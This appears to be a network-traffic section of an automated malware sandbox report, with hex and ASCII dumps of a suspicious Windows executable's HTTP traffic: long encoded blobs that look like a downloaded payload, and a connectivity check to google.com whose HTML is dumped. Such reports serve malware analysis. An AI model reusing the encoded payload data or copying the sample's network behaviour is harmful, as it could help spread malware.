                                                                                                                                                                                                                                                                        Data Ascii: 1fc0==gCVV0cEJkQRF0QBFUSBl0ShtmRrFUQBFUQBFUQBFESaRXRBFUTBNUQBZ1RoxmYV5EcZdFO1pFWoxmVWFlTBFUZwcnMC5GRjlzZad3MQl1RkFTZBNXQBFFVxEUUBFkQCFVQBFERzZHWxgjVOdVMONzNtp0YrFlSwdnQF9WML1URoFlTFhGVClHe4FVQmpEaLdWTE9GN6FEMvFkRkBlaTNEMYp3aGNXaSpEU45WS4oWdvITYtRnYwEjQMdlMrEDd3FHeJlWYBNVVCFXSxIUSDlTYBZFUjRTVRVWSZl1QZhzM6hFUq1kQihld2N2MrY2Kv4WO5clQzoFcvkTd2JWYhZzK5EDdwJ3NvAndlZVe3NUWKdmU6FUTRd1ZSpHS5UGNi9yLxQTV3RzcJ9iaCJUZIZmYIN2Uyc1TYhzYkdjTwEDOyNVNTV3KrsCMWR3My4WOJdjY3InbuV3MMB3NYV2VyxGR1tkYzInb0tUcHRzTsNzLuVHMqNnbGhHVrxmMYFWbQ5WO5syNP9kZrQXYk52Z2h0M2QnR6tyTywWYJV1Li1Udxg1KCNzNnZjSwd3LqZHaHxmMv42cS9yNzAncqN3axBXZGtUZBRFaE12VY9ESJRDZrNjW05kNCtEdsV3QWZWRHJFOi10dUh2RzZENXdVc0UlS0AFROFWasNnRJF1YvUXWMVTevgDdjhFSrBFU1N2Q54WZHNUOJpVWktCazUTT2xEMrN0S50WV0Vnc6FXUv4kTjxGcNp1Uld3NoZzVI9iR4oWOro2LBJzVYlTM50GV1QFdYBzLBV2VaVkQpR0NzhVexQVa0RjbyFDa202M5JWSOhHViJXWwRVRKl1LkZVeYZHe2NHbs1UZMRzYrc0bW90R2UUOmlTUy5GW5BlWtNETvN2ZwBFTrs0V4JXckl3SsNld1FlT6V0QRN0c4N3KM9iNUZmRYNWdrkHNLdDaPJVRNp2Z19EOmlHbzcjc6hEev8yN5Q1L2YUOGZTMkZjRhdDeUx [TRUNCATED]
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525333881 CET1236INData Raw: 4a 6c 58 61 53 56 7a 4e 77 4d 30 62 72 4a 47 54 4a 6c 55 55 45 39 45 64 55 35 55 65 4e 39 53 52 32 56 47 64 45 39 79 51 7a 68 58 4e 48 78 32 4d 30 74 6d 62 68 52 55 4e 75 4e 44 53 6d 56 45 56 49 4e 58 59 68 68 46 63 35 4d 6c 63 77 6f 6e 53 6c 64
                                                                                                                                                                                                                                                                        Data Ascii: JlXaSVzNwM0brJGTJlUUE9EdU5UeN9SR2VGdE9yQzhXNHx2M0tmbhRUNuNDSmVEVINXYhhFc5MlcwonSldGbWl1KqJ3bZVHeZNjVORzaidnMIhXNSREVvEDV1p1KMxkYiFGd6VDM35ET5w0MOpWYxUHURZWSV9mTB9Cc0MXY1kkZGxGU38UMJZ1LzkkeshTT5YFR1V2RktkQNFFWvEWNl90VyE1d2U2RQZWMCRlUvITapFXUYtS
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525357008 CET1236INData Raw: 77 41 7a 56 6e 52 46 54 51 6c 30 51 33 42 31 63 4a 6c 6e 65 43 64 30 59 45 42 56 51 7a 6b 30 62 33 52 55 57 6f 56 55 62 30 5a 31 4e 4f 64 54 63 61 5a 6b 4e 4f 39 53 63 32 55 32 53 74 6c 44 56 78 55 54 55 31 49 6b 5a 72 4a 47 62 77 68 48 53 52 6c
                                                                                                                                                                                                                                                                        Data Ascii: wAzVnRFTQl0Q3B1cJlneCd0YEBVQzk0b3RUWoVUb0Z1NOdTcaZkNO9Sc2U2StlDVxUTU1IkZrJGbwhHSRlkUSdnWqFWaGtCcRdWRCRlNVt2aQVEVYlWRndlYGR0RIpkWzZ1RwQUdRllN38idhhlZyl0a4p0Q3cFZvkETBBzdzlkVXhGRixmaHdzaZZDNKp0U3tWexVjMDNTZql2ZUVFZhFVZWRVMrVlRkpWQJZ3cwgzRNFkMxZn
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525372028 CET1236INData Raw: 79 46 56 5a 7a 45 48 5a 30 4a 55 55 4f 42 54 59 79 6f 47 61 50 4a 31 52 4d 5a 58 64 51 35 45 63 34 4a 30 61 42 52 33 5a 30 4a 31 53 77 4e 47 63 52 46 32 61 49 6c 32 51 79 39 6b 53 35 63 56 57 55 64 30 63 6f 68 30 56 72 56 57 4e 31 52 32 61 79 67
                                                                                                                                                                                                                                                                        Data Ascii: yFVZzEHZ0JUUOBTYyoGaPJ1RMZXdQ5Ec4J0aBR3Z0J1SwNGcRF2aIl2Qy9kS5cVWUd0coh0VrVWN1R2ayg0T4NzaI9SMs9UZ0IDUnF1SrNGWoR3aj5WaKVXdoBXWkJHaiZzNSN2b2omUK5UWh9mMnRXWq1kMvF2Z4gnd5d2MV1WcvZkWmVHZ1MnRah3NNlmZ450YqVGNGx0RVlVbX5mNEV0b5hmQyE1VVNHcwNVMshHUjFzVuhV
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525387049 CET1236INData Raw: 6b 52 56 65 6f 64 46 4d 4f 68 55 53 72 4e 6d 53 72 5a 55 61 57 78 6d 52 57 68 6b 57 59 6c 6a 51 50 64 46 5a 47 42 56 63 77 41 7a 5a 4f 6c 6c 61 74 35 57 55 6d 5a 33 63 6b 4e 57 65 35 55 56 56 43 70 55 5a 71 39 32 59 72 4a 6c 4e 6f 6c 48 62 35 55
                                                                                                                                                                                                                                                                        Data Ascii: kRVeodFMOhUSrNmSrZUaWxmRWhkWYljQPdFZGBVcwAzZOllat5WUmZ3ckNWe5UVVCpUZq92YrJlNolHb5UFOrIWVrgWNElnVYJna4lWeHBlZxIUSJJUcs9EMoFUd1l2R51mdm9EMHBVOylUWvJ2Z4I3bhNETNxEcqR0T3VneLBTQUNVVmBzc6Rkbzd0RwtmVytyYUhFSuFkdLplSqBnMHRzU2NVZKhHbxA3ay4ETWdEaWRnYtNX
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525403976 CET1236INData Raw: 4b 46 6d 63 55 46 47 57 6d 68 6e 51 77 6f 57 56 6a 5a 6a 4d 6e 64 30 4d 77 64 6e 65 45 52 58 53 4f 5a 46 5a 33 41 56 5a 4a 6c 6a 64 31 6c 6c 51 58 46 46 54 6d 4e 6d 63 4f 68 31 63 6a 4e 44 4d 77 5a 55 52 72 77 57 56 57 74 43 65 59 39 43 5a 78 70
                                                                                                                                                                                                                                                                        Data Ascii: KFmcUFGWmhnQwoWVjZjMnd0MwdneERXSOZFZ3AVZJljd1llQXFFTmNmcOh1cjNDMwZURrwWVWtCeY9CZxpWMYV2TVZjMtlHS1pHTv1GaxgENrJjcPJzaGZ2QPpWWmNlT4IjaIJVOM9UUDlXbm90aLZVcDJWU0smW1EjSKdzavcVUGN2MwcmTqVVS3ETWplUb4dnbv4GTCpmdHRGNxFGOFlzM6xUbnR2M4V0d2gHaGZTN4sGRUxG
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525423050 CET1236INData Raw: 79 6f 6d 54 56 31 6b 61 33 4d 32 51 71 4e 31 59 74 6c 30 59 74 39 57 65 51 70 46 64 30 4a 6c 57 6c 64 33 51 79 35 47 4f 31 4e 7a 55 55 52 55 4f 33 34 30 51 34 70 58 59 6d 74 43 53 6a 68 6c 5a 77 70 32 52 4e 70 56 52 35 38 43 63 59 70 6d 63 51 6c
                                                                                                                                                                                                                                                                        Data Ascii: yomTV1ka3M2QqN1Ytl0Yt9WeQpFd0JlWld3Qy5GO1NzUURUO340Q4pXYmtCSjhlZwp2RNpVR58CcYpmcQlndrUEaY9SSZBnb1MWaTpVeFdXaJhzYGZXaHVGbNF3cw4UZslHTrEUbvhTSvhTQkVTaThUYxMlRIVVRrRFR0pHUBZWNz8UUwpGSXh1RNFHSmlUTqlUYttiR3NFVQpVOqlmVE9kdhFjMZJDaVhGTBlTeSlmZslXd0sW
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525664091 CET1236INData Raw: 46 56 47 65 72 56 56 57 61 6c 7a 4e 56 56 55 59 49 46 7a 56 76 46 31 52 4c 68 47 4d 78 49 55 54 58 5a 6b 51 58 39 79 54 5a 52 45 5a 34 52 54 51 6b 56 47 57 71 6c 47 61 57 52 6a 53 4c 4e 6a 5a 46 42 6e 59 45 4e 58 62 35 78 45 62 76 68 6b 59 75 70
                                                                                                                                                                                                                                                                        Data Ascii: FVGerVVWalzNVVUYIFzVvF1RLhGMxIUTXZkQX9yTZREZ4RTQkVGWqlGaWRjSLNjZFBnYENXb5xEbvhkYupFVMtiZsFWTDZEUT92cwQ1ZCZ0bZlmQRpWVYFjeG9EWvUkTJlEbwJjTzZ0La1GaI1GSWVkWGhkc5tUaMFlYjdHa1tGZ5UUNpZTe4FGMGhUYxhkcQB1QBRVY14ENPNGWyZkUBVnTPBVQYVmN5smaykHS18kZVp1MFR0
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525680065 CET1236INData Raw: 4c 64 45 64 4a 70 33 53 35 31 30 56 31 35 57 57 36 4e 45 65 49 6c 30 51 35 55 30 63 5a 52 57 4f 49 52 57 54 4d 56 54 54 75 52 46 4f 72 67 46 54 32 4d 6e 51 76 30 6b 57 32 4e 44 55 31 64 6e 59 59 4a 33 4d 50 46 7a 4d 49 5a 6c 54 30 35 6d 62 56 52
                                                                                                                                                                                                                                                                        Data Ascii: LdEdJp3S510V15WW6NEeIl0Q5U0cZRWOIRWTMVTTuRFOrgFT2MnQv0kW2NDU1dnYYJ3MPFzMIZlT05mbVRmSyZGc2gzV0lXSHhGStJ1clpkbwQ0M1N2bzgFR1MjYmNzdBp2aYZ2LPZFNk1WcxMGbSJDUTlmQvRWaDlFbvYldwQDc1Y0NQN2YUZTcl1mcXBDMZZGWsp2dyomcw12dSJzZ0FkRw9yL6ZkSkN2KqVke3U2VxcUYUdT
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.525696993 CET1236INData Raw: 31 51 45 64 78 56 57 65 50 52 55 61 33 6b 54 59 6a 52 55 4e 46 4e 33 4d 32 68 47 54 56 64 6e 54 71 46 44 65 33 4d 45 4d 49 52 7a 61 6a 70 6b 4d 79 38 43 4d 50 42 44 62 35 52 6a 56 78 51 46 4f 72 74 69 54 78 46 46 54 32 45 56 4d 4d 46 6c 59 5a 70
                                                                                                                                                                                                                                                                        Data Ascii: 1QEdxVWePRUa3kTYjRUNFN3M2hGTVdnTqFDe3MEMIRzajpkMy8CMPBDb5RjVxQFOrtiTxFFT2EVMMFlYZpWTQVkR0tmNsV0MrcVNERGa48SRUJlb6tSanZzdpFXaNBjY0tWUmB3SEpVNvNjbrFGT6F2dFlTbyMGUZBnSOhlTlBTcxJVYDRzNjd0bz5kTwZmVKxEemNEenhVNixmaVNVSh1UUpR0bvF1KKdVU3FVU3lmeIBDMtdX
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:52:58.645875931 CET1236INData Raw: 78 31 55 4f 6b 64 6c 65 34 41 31 59 47 39 79 54 7a 6b 55 62 5a 68 32 63 44 56 58 51 36 52 54 63 50 52 46 4d 4f 64 32 56 34 4d 33 53 78 5a 56 51 79 4a 6e 59 52 46 6b 4e 76 34 6b 57 35 6c 33 4e 57 6c 56 63 59 68 6a 5a 77 39 30 4e 73 68 32 61 31 5a
                                                                                                                                                                                                                                                                        Data Ascii: x1UOkdle4A1YG9yTzkUbZh2cDVXQ6RTcPRFMOd2V4M3SxZVQyJnYRFkNv4kW5l3NWlVcYhjZw90Nsh2a1ZVUtNzRhp2UrRlVwo3a5AnT28iV5U0ark1cSp1Lthnd4hGNycDbyhWcM9SYjRmY4wWWXVVcap1Vm1EUiBDO310TpVjNXJXe2NDcXpFMJZnTllmSlZ0ZspEcw00RB9WO4h1RGBTY5ZkSKR1QJp1Y1Nkco1USUFUMHJk


                                                                                                                                                                                                                                                                        HTTPS Proxied Packets

                                                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                        0192.168.2.449741142.250.181.1324436448C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe
                                                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                        2024-12-17 17:52:34 UTC128OUTGET / HTTP/1.1
                                                                                                                                                                                                                                                                        Accept: application/json, text/plain, */*
                                                                                                                                                                                                                                                                        User-Agent: axios/0.27.2
                                                                                                                                                                                                                                                                        Host: www.google.com
                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                        2024-12-17 17:52:35 UTC1188INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                        Date: Tue, 17 Dec 2024 17:52:35 GMT
                                                                                                                                                                                                                                                                        Expires: -1
                                                                                                                                                                                                                                                                        Cache-Control: private, max-age=0
                                                                                                                                                                                                                                                                        Content-Type: text/html; charset=ISO-8859-1
                                                                                                                                                                                                                                                                        Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-iY3mlQkl_NybB6joWztwKg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp
                                                                                                                                                                                                                                                                        Accept-CH: Sec-CH-Prefers-Color-Scheme
                                                                                                                                                                                                                                                                        P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
                                                                                                                                                                                                                                                                        Server: gws
                                                                                                                                                                                                                                                                        X-XSS-Protection: 0
                                                                                                                                                                                                                                                                        X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                                                        Set-Cookie: AEC=AZ6Zc-W2UUWJ4m-YlTJz0MCHHbq7Ub_GpazN6uazFJ1HT2D06sBMCMCyIw; expires=Sun, 15-Jun-2025 17:52:35 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax
                                                                                                                                                                                                                                                                        Set-Cookie: NID=520=e_bVe9qM7Q4KpfJx5wrxwWjmmSZFR064QcyE4SLYPZP1KTcIGJANqINmRLf4Lx0-vDl2bUW3b2nIk0b1gfZe7PBHEIv54obL7iJhYyMLsaWJDjzC7K-TasKsiJG05wUTaChF9x97tM2c71RoRsdlrPmL2aTreGHnnrM6SFfN9D-wXAeLrUGnUHmXZ2bLjIDJj2SfJEa0; expires=Wed, 18-Jun-2025 17:52:35 GMT; path=/; domain=.google.com; HttpOnly
                                                                                                                                                                                                                                                                        Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                                                                                                                                                                                        Accept-Ranges: none
                                                                                                                                                                                                                                                                        Vary: Accept-Encoding
                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                        2024-12-17 17:52:35 UTC202INData Raw: 32 38 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 53 65 61 72 63 68 20 74 68 65 20 77 6f 72 6c 64 27 73 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2c 20 69 6e 63 6c 75 64 69 6e 67 20 77 65 62 70 61 67 65 73 2c 20 69 6d 61 67 65 73 2c 20 76 69 64 65 6f 73 20 61 6e 64 20 6d 6f 72 65 2e 20 47 6f 6f 67 6c 65 20 68 61 73 20 6d 61 6e 79 20 73
                                                                                                                                                                                                                                                                        Data Ascii: 2800<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including webpages, images, videos and more. Google has many s
                                                                                                                                                                                                                                                                        2024-12-17 17:52:35 UTC1390INData Raw: 70 65 63 69 61 6c 20 66 65 61 74 75 72 65 73 20 74 6f 20 68 65 6c 70 20 79 6f 75 20 66 69 6e 64 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 6f 64 70 2c 20 22 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 6c 6f 67 6f 73 2f 64 6f 6f 64 6c 65 73 2f 32 30 32 34 2f 73 65 61 73 6f 6e 61 6c 2d 68 6f 6c 69 64 61 79 73 2d 32 30 32 34 2d 36 37 35 33 36 35
                                                                                                                                                                                                                                                                        Data Ascii: pecial features to help you find exactly what you're looking for." name="description"><meta content="noodp, " name="robots"><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/logos/doodles/2024/seasonal-holidays-2024-675365
                                                                                                                                                                                                                                                                        2024-12-17 17:52:35 UTC1390INData Raw: 32 37 36 2c 32 37 30 38 33 2c 35 32 31 33 36 37 32 2c 34 33 32 2c 31 35 33 2c 31 38 31 2c 35 39 39 32 30 38 39 2c 32 38 34 32 34 38 36 2c 37 2c 38 39 2c 31 2c 31 2c 31 2c 31 2c 31 34 2c 36 33 2c 33 2c 34 2c 31 36 2c 32 34 2c 33 33 2c 32 37 39 37 37 39 37 31 2c 32 35 32 32 34 30 34 35 2c 33 33 39 36 2c 31 32 34 30 2c 31 34 39 38 36 2c 31 34 35 30 2c 33 34 37 35 34 2c 35 2c 34 39 32 38 36 2c 32 32 36 32 33 2c 38 38 34 2c 31 34 32 38 30 2c 38 31 38 31 2c 35 39 33 34 2c 34 33 34 39 36 2c 39 32 33 36 2c 39 37 37 35 2c 32 36 35 36 2c 33 34 33 38 2c 33 33 31 39 2c 32 33 38 37 38 2c 37 30 34 32 2c 32 30 39 38 2c 37 34 34 2c 31 2c 33 2c 33 38 35 31 2c 33 32 38 2c 34 34 35 36 2c 31 37 36 39 2c 32 33 34 30 37 2c 36 2c 31 30 32 31 31 2c 36 38 36 2c 35 36 37 35 2c 36
                                                                                                                                                                                                                                                                        Data Ascii: 276,27083,5213672,432,153,181,5992089,2842486,7,89,1,1,1,1,14,63,3,4,16,24,33,27977971,25224045,3396,1240,14986,1450,34754,5,49286,22623,884,14280,8181,5934,43496,9236,9775,2656,3438,3319,23878,7042,2098,744,1,3,3851,328,4456,1769,23407,6,10211,686,5675,6
                                                                                                                                                                                                                                                                        2024-12-17 17:52:35 UTC1390INData Raw: 20 61 3b 28 28 61 3d 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 29 3d 3d 6e 75 6c 6c 3f 30 3a 61 2e 73 74 76 73 63 29 3f 67 6f 6f 67 6c 65 2e 6b 45 49 3d 5f 67 2e 6b 45 49 3a 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 3d 5f 67 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 7d 29 28 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 73 6e 3d 27 77 65 62 68 70 27 3b 67 6f 6f 67 6c 65 2e 6b 48 4c 3d 27 65 6e 27 3b 7d 29 28 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 76 61 72 20 67 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 66 75 6e 63 74 69 6f 6e 20 6b 28 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 26 26 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 6b 4f 50 49 7c 7c 6e 75 6c 6c 7d 3b 76 61 72 20 6c 2c 6d 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20
                                                                                                                                                                                                                                                                        Data Ascii: a;((a=window.google)==null?0:a.stvsc)?google.kEI=_g.kEI:window.google=_g;}).call(this);})();(function(){google.sn='webhp';google.kHL='en';})();(function(){var g=this||self;function k(){return window.google&&window.google.kOPI||null};var l,m=[];function
                                                                                                                                                                                                                                                                        2024-12-17 17:52:35 UTC1390INData Raw: 2c 62 5d 3b 72 65 74 75 72 6e 21 31 7d 29 3b 76 61 72 20 65 3b 28 65 3d 67 6f 6f 67 6c 65 29 2e 73 78 7c 7c 28 65 2e 73 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 73 79 2e 70 75 73 68 28 61 29 7d 29 3b 67 6f 6f 67 6c 65 2e 6c 6d 3d 5b 5d 3b 76 61 72 20 66 3b 28 66 3d 67 6f 6f 67 6c 65 29 2e 70 6c 6d 7c 7c 28 66 2e 70 6c 6d 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 6c 6d 2e 70 75 73 68 2e 61 70 70 6c 79 28 67 6f 6f 67 6c 65 2e 6c 6d 2c 61 29 7d 29 3b 67 6f 6f 67 6c 65 2e 6c 71 3d 5b 5d 3b 76 61 72 20 67 3b 28 67 3d 67 6f 6f 67 6c 65 29 2e 6c 6f 61 64 7c 7c 28 67 2e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 67 6f 6f 67 6c 65 2e 6c 71 2e 70 75 73 68 28 5b 5b 61 5d 2c 62 2c 63 5d 29 7d 29 3b 76 61 72
                                                                                                                                                                                                                                                                        Data Ascii: ,b];return!1});var e;(e=google).sx||(e.sx=function(a){google.sy.push(a)});google.lm=[];var f;(f=google).plm||(f.plm=function(a){google.lm.push.apply(google.lm,a)});google.lq=[];var g;(g=google).load||(g.load=function(a,b,c){google.lq.push([[a],b,c])});var
                                                                                                                                                                                                                                                                        2024-12-17 17:52:35 UTC1390INData Raw: 70 6f 72 74 61 6e 74 7d 2e 67 62 69 20 2e 67 62 34 7b 63 6f 6c 6f 72 3a 23 64 64 38 65 32 37 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 67 62 66 20 2e 67 62 34 7b 63 6f 6c 6f 72 3a 23 39 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 7d 0a 3c 2f 73 74 79 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 2c 74 64 2c 61 2c 70 2c 2e 68 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 73 63 72 6f 6c 6c 7d 23 67 6f 67 7b 70 61 64 64 69 6e 67 3a 33 70 78 20 38 70 78 20 30 7d 74 64 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 2e 38 65 6d 7d 2e 67 61 63 5f 6d 20 74 64 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 37 70 78 7d 66 6f 72 6d 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d
                                                                                                                                                                                                                                                                        Data Ascii: portant}.gbi .gb4{color:#dd8e27 !important}.gbf .gb4{color:#900 !important}</style><style>body,td,a,p,.h{font-family:arial,sans-serif}body{margin:0;overflow-y:scroll}#gog{padding:3px 8px 0}td{line-height:.8em}.gac_m td{line-height:17px}form{margin-bottom
                                                                                                                                                                                                                                                                        2024-12-17 17:52:35 UTC1390INData Raw: 67 2e 73 64 6f 29 21 3d 6e 75 6c 6c 3f 71 3a 21 30 2c 74 3d 30 2c 75 2c 77 3d 67 6f 6f 67 6c 65 2e 65 72 64 2c 78 3d 77 2e 6a 73 72 3b 67 6f 6f 67 6c 65 2e 6d 6c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 64 2c 6e 2c 65 29 7b 65 3d 65 3d 3d 3d 76 6f 69 64 20 30 3f 32 3a 65 3b 62 26 26 28 75 3d 61 26 26 61 2e 6d 65 73 73 61 67 65 29 3b 64 3d 3d 3d 76 6f 69 64 20 30 26 26 28 64 3d 7b 7d 29 3b 64 2e 63 61 64 3d 22 70 6c 65 5f 22 2b 67 6f 6f 67 6c 65 2e 70 6c 65 2b 22 2e 61 70 6c 65 5f 22 2b 67 6f 6f 67 6c 65 2e 61 70 6c 65 3b 69 66 28 67 6f 6f 67 6c 65 2e 64 6c 29 72 65 74 75 72 6e 20 67 6f 6f 67 6c 65 2e 64 6c 28 61 2c 65 2c 64 2c 21 30 29 2c 6e 75 6c 6c 3b 62 3d 64 3b 69 66 28 78 3c 30 29 7b 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 26 26 63 6f 6e 73 6f 6c
                                                                                                                                                                                                                                                                        Data Ascii: g.sdo)!=null?q:!0,t=0,u,w=google.erd,x=w.jsr;google.ml=function(a,b,d,n,e){e=e===void 0?2:e;b&&(u=a&&a.message);d===void 0&&(d={});d.cad="ple_"+google.ple+".aple_"+google.aple;if(google.dl)return google.dl(a,e,d,!0),null;b=d;if(x<0){window.console&&consol
                                                                                                                                                                                                                                                                        2024-12-17 17:52:35 UTC1390INData Raw: 33 3a 70 29 29 3b 75 3d 6e 75 6c 6c 3b 72 26 26 74 3e 3d 6c 26 26 28 77 69 6e 64 6f 77 2e 6f 6e 65 72 72 6f 72 3d 6e 75 6c 6c 29 7d 3b 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 66 66 66 22 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 69 59 33 6d 6c 51 6b 6c 5f 4e 79 62 42 36 6a 6f 57 7a 74 77 4b 67 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 73 72 63 3d 27 2f 69 6d 61 67 65 73 2f 6e 61 76 5f 6c 6f 67 6f 32 32 39 2e 70 6e 67 27 3b 76 61 72 20 69 65 73 67 3d 66 61 6c 73 65 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6e 20 26 26 20 77 69 6e 64 6f 77 2e 6e 28 29 3b 69 66 20 28 64 6f 63 75 6d 65 6e
                                                                                                                                                                                                                                                                        Data Ascii: 3:p));u=null;r&&t>=l&&(window.onerror=null)};})();</script></head><body bgcolor="#fff"><script nonce="iY3mlQkl_NybB6joWztwKg">(function(){var src='/images/nav_logo229.png';var iesg=false;document.body.onload = function(){window.n && window.n();if (documen
                                                                                                                                                                                                                                                                        2024-12-17 17:52:35 UTC316INData Raw: 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 26 65 63 3d 47 41 5a 41 41 51 22 20 63 6c 61 73 73 3d 67 62 34 3e 53 69 67 6e 20 69 6e 3c 2f 61 3e 3c 2f 6e 6f 62 72 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 67 62 68 20 73 74 79 6c 65 3d 6c 65 66 74 3a 30 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 67 62 68 20 73 74 79 6c 65 3d 72 69 67 68 74 3a 30 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 63 65 6e 74 65 72 3e 3c 62 72 20 63 6c 65 61 72 3d 22 61 6c 6c 22 20 69 64 3d 22 6c 67 70 64 22 3e 3c 64 69 76 20 69 64 3d 22 58 6a 68 48 47 66 22 3e 3c 69 6d 67 20 61 6c 74 3d 22 53 65 61 73 6f 6e 61 6c 20 48 6f 6c 69 64 61 79 73 20 32 30 32 34 22 20 62 6f 72 64 65 72 3d 22 30 22 20 68 65 69 67 68 74 3d 22 32
                                                                                                                                                                                                                                                                        Data Ascii: tinue=https://www.google.com/&ec=GAZAAQ" class=gb4>Sign in</a></nobr></div><div class=gbh style=left:0></div><div class=gbh style=right:0></div></div><center><br clear="all" id="lgpd"><div id="XjhHGf"><img alt="Seasonal Holidays 2024" border="0" height="2
